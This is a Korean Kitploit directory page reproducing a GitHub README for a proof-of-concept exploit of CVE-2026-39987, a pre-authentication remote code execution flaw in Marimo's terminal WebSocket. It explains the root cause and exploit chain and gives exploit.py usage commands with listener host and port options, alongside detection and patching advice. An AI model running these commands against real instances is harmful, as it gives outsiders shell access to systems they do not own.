Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-39987 — # CVE-2026-39987 개념 증명 익스플로잇 Marimo의 터미널 WebSocket 엔드포인트에서 발생하는 사전 인증 RCE(원격 코드 실행) 취약점에 대한 개념 증명 익스플로잇입니다. 인증되지 않은 명령 실행을 시연하며, 취약한 인스턴스와 패치된 인스턴스를 검증하기 위한 테스트를 포함합니다. | Kitploit
도구/GitHubGitHub/th3purge/cve-2026-39987
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubth3purge/cve-2026-39987

CVE-2026-39987

# CVE-2026-39987 개념 증명 익스플로잇 Marimo의 터미널 WebSocket 엔드포인트에서 발생하는 사전 인증 RCE(원격 코드 실행) 취약점에 대한 개념 증명 익스플로잇입니다. 인증되지 않은 명령 실행을 시연하며, 취약한 인스턴스와 패치된 인스턴스를 검증하기 위한 테스트를 포함합니다.

저장소 보기
17시간 17분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-39987 Marimo 인증 전 RCE


📋 취약점 정보

속성값
CVECVE-2026-39987
제품Marimo
취약점인증 전 원격 코드 실행 (Pre-Authentication RCE)
공격 경로네트워크
인증 요구 여부불필요
사용자 상호작용불필요
CWECWE-306 — 중요 기능에 대한 인증 누락
심각도치명적 (Critical)
패치 버전0.23.0

CVE-2026-39987은 반응형 Python 노트북 환경인 Marimo에 영향을 미치는 치명적인 인증 전 원격 코드 실행(RCE) 취약점입니다. 이 취약점은 터미널 WebSocket 엔드포인트 /terminal/ws에 위치합니다.


🔍 근본 원인

취약한 터미널 엔드포인트는 WebSocket 연결을 수락한 후 대화형 PTY를 생성합니다.

개념적으로, 취약한 요청 흐름은 다음과 같습니다:

root@kitploit:~
원격 클라이언트
     |
     | WebSocket 연결
     v
/terminal/ws
     |
     | 인증 검증 누락
     v
WebSocket 수락
     |
     v
PTY 생성
     |
     v
대화형 셸

중요한 보안 경계는 인증 검사가 누락된 지점입니다.

임의 명령 실행을 노출하는 엔드포인트는 인증되지 않은 클라이언트가 PTY 생성 로직에 도달하는 것을 허용해서는 안 됩니다.


🎯 목적 및 범위

주요 목적

이 프로젝트의 목적은 통제된 환경에서 Marimo의 터미널 WebSocket 엔드포인트에 영향을 미치는 인증 누락을 시연하는 것입니다.

보안 팀은 이 프로젝트를 다음 용도로 사용할 수 있습니다:

  • 자사 Marimo 인스턴스의 노출 여부 검증
  • 보안 패치의 효과 확인
  • 잠재적 보안 영향 문서화
  • 방어 통제 개선
  • 공인된 취약점 검증 지원

공인된 환경

  • 테스터가 소유한 보안 연구소
  • 명시적 서면 승인을 받은 시스템
  • 교육 및 학습 환경
  • 공인된 침투 테스트 및 보안 평가

경고: PoC는 본인이 소유하거나 명시적으로 테스트 승인을 받은 시스템에 대해서만 실행하십시오.


🔗 악용 체인

전체 취약점 체인은 다음과 같이 요약할 수 있습니다:

root@kitploit:~
1. 공격자가 노출된 Marimo 인스턴스 발견
                |
                v
2. 공격자가 /terminal/ws에 연결
                |
                v
3. 인증이 적용되지 않음
                |
                v
4. WebSocket 연결이 수락됨
                |
                v
5. PTY 터미널이 생성됨
                |
                v
6. 공격자가 명령 실행 권한 획득
                |
                v
7. Marimo 프로세스 권한으로 명령 실행

중요한 보안 실패는 3단계에서 발생합니다.


📦 설치

요구 사항

root@kitploit:~
Python 3.7+
pip
승인된 대상에 대한 네트워크 접근

의존성

root@kitploit:~
# 기본 설치
pip install websocket-client

# 전체 설치
pip install websocket-client rich

확인

root@kitploit:~
python3 exploit.py --help

🚀 사용 가이드

기본 구문

root@kitploit:~
python3 exploit.py -u <TARGET_URL> --lhost <LOCAL_IP> --lport <PORT>

실용 예제

1. 로컬 연구소 테스트

root@kitploit:~
python3 exploit.py \
  -u http://127.0.0.1:8081 \
  --lhost 127.0.0.1 \
  --lport 4444

2. 공인된 원격 테스트

root@kitploit:~
python3 exploit.py \
  -u https://marimo.example.com \
  --lhost 192.168.1.100 \
  --lport 5555 \
  --timeout 30 \
  --retries 5

3. 디버그 모드

root@kitploit:~
python3 exploit.py \
  -u http://target:8081 \
  --lhost 10.0.0.5 \
  --lport 9999 \
  --verbose \
  --no-verify-ssl \
  --retry-delay 1.5

📋 매개변수 참조

매개변수유형설명기본값
-u, --urlstring대상 Marimo 인스턴스의 기본 URL필수
--lhoststring리스너 IP 주소필수
--lportint리스너 포트 (1-65535)필수
--timeoutint리스너 타임아웃(초)15
--retriesintWebSocket 연결 재시도 횟수3
--retry-delayfloat재시도 사이 지연 시간2.0
--no-verify-sslflagSSL 인증서 검증 비활성화False
-v, --verboseflag상세 출력 활성화False
-s, --silentflag출력 억제False

🔄 악용 워크플로우

root@kitploit:~
1단계: 초기화
    ↓ 매개변수 검증
    ↓ 로깅 구성

2단계: 준비
    ↓ 리스너 초기화
    ↓ WebSocket 연결 설정

3단계: 검증
    ↓ 터미널 엔드포인트 테스트
    ↓ 인증 적용 여부 확인
    ↓ 연결 동작 기록

4단계: 시연
    ↓ 공인된 테스트 세션 설정
    ↓ 명령 실행 컨텍스트 확인
    ↓ 검증 증거 수집

5단계: 정리
    ↓ 터미널 상태 복원
    ↓ 연결 종료
    ↓ 리소스 해제

🧪 검증 테스트

테스트 시나리오

취약한 인스턴스

root@kitploit:~
python3 exploit.py \
  -u http://vulnerable:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

예상 결과: 취약한 터미널 엔드포인트가 인증되지 않은 연결을 수락합니다.

패치된 인스턴스

root@kitploit:~
python3 exploit.py \
  -u http://patched:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

예상 결과: 인증 통제에 의해 연결이 거부되거나 차단됩니다.

타임아웃 테스트

root@kitploit:~
python3 exploit.py \
  -u http://firewalled:8081 \
  --lhost 10.0.0.1 \
  --lport 4444 \
  --timeout 5

예상 결과: 타임아웃이 정상적으로 보고됩니다.


📈 취약점 통계

root@kitploit:~
심각도:       치명적 (CVSS 9.3)
복잡도:       낮음
인증:         불필요
영향:         원격 코드 실행
프로토콜:     WebSocket
엔드포인트:   /terminal/ws
패치 버전:    0.23.0

소스 README는 이 문제를 CVSS 9.3 치명적 등급으로 분류하고 CWE-306, 프로토콜로 WebSocket, 영향을 받는 엔드포인트로 /terminal/ws를 식별합니다.


🔎 탐지

악용 가능성을 나타내는 지표에는 다음 엔드포인트에 대한 예상치 못한 WebSocket 연결이 포함됩니다:

root@kitploit:~
/terminal/ws

방어자는 다음 사항을 조사해야 합니다:

  • 터미널 WebSocket 엔드포인트에 대한 예상치 못한 연결
  • Marimo에 의해 생성된 예상치 못한 셸 프로세스
  • 의심스러운 자식 프로세스
  • 예상치 못한 외부 연결
  • 민감한 환경 변수에 대한 접근
  • 예상치 못한 파일 시스템 활동
  • Marimo 프로세스에 의해 실행된 알 수 없는 명령

🛡️ 해결 방안

Marimo를 패치된 릴리스로 업그레이드하십시오:

root@kitploit:~
0.23.0 이상

추가 방어 권장 사항은 다음과 같습니다:

  • 필요하지 않은 경우 Marimo를 공개 인터넷에 직접 노출하지 마십시오.
  • 노트북 서비스를 인증된 리버스 프록시 뒤에 배치하십시오.
  • 신뢰할 수 있는 사용자와 네트워크로만 네트워크 접근을 제한하십시오.
  • 필요한 최소 권한으로 Marimo를 실행하십시오.
  • 민감한 호스트 디렉터리를 컨테이너에 마운트하지 마십시오.
  • 손상된 인스턴스에 접근 가능했을 수 있는 자격 증명을 교체하십시오.
  • 의심스러운 /terminal/ws 활동에 대한 로그를 검토하십시오.
  • 패치 적용만으로 공격자의 지속성이 제거된다고 가정하지 말고 잠재적으로 손상된 인스턴스를 조사하십시오.

🔐 보안 분류

root@kitploit:~
CVE:        CVE-2026-39987
CWE:        CWE-306
심각도:     치명적
유형:       인증 전 RCE
프로토콜:   WebSocket
엔드포인트: /terminal/ws
인증:       불필요
패치:       0.23.0

📄 라이선스

공인된 사용 전용

이 프로젝트는 다음 용도로만 제공됩니다:

  • 공인된 보안 테스트
  • 학술 연구
  • 취약점 검증
  • 보안 교육
  • 방어적 보안 개발

무단 사용은 엄격히 금지되며 해당 지역 및 국제 법률을 위반할 수 있습니다.


⚠️ 고지 사항

이 프로젝트는 보안 연구, 취약점 검증 및 교육 목적으로 제공됩니다.

본인이 소유하지 않거나 명시적 테스트 승인을 받지 않은 시스템에 대해 PoC를 사용하지 마십시오.

유지관리자는 오용, 무단 테스트, 손상, 데이터 손실 또는 이 프로젝트 사용으로 인한 모든 결과에 대해 책임을 지지 않습니다.

도구 다운로드